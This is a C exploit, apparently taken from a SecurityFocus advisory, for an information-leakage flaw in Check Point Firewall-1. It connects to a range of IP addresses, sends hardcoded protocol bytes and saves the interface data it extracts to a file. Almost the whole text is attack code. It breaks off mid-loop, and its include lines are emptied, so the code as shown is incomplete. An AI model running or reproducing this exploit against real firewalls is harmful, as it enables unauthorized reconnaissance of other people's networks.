// source: https://www.securityfocus.com/bid/8524/info An information leakage issue has been discovered in Check Point Firewall-1. Because of this, an attacker may gain sensitive information about network resources. /************************************************************************/ /* The syntax is: */ /* fw1_getints (start IP address) (end IP address) */ /* */ /* Author: Jim Becher -- jim@becher.net */ /************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define BUFSIZE 64 void snatch(int sock, char *pass) { int i, z, sockfd, len, result, bytes; int octet=0; char temp1[]="\x30\x00\x00\x03"; char temp2[]="\x02\x59\x05\x21"; char temp3[]="\x00\x00\x00\x08"; char command[256]; char buffer[BUFSIZE]=""; FILE *out; char outfile[21]; sockfd=sock; result=send(sockfd,temp1,4,0); sleep(1); /* Ugly... */ result=send(sockfd,temp2,4,0); result=read(sockfd, buffer, BUFSIZE); result=send(sockfd,temp3,4,0); result=read(sockfd, buffer, BUFSIZE); sprintf(outfile, "ints.%s", pass); out = fopen(outfile, "w"); fprintf(out, "ints:\n", 6); i=4; while (i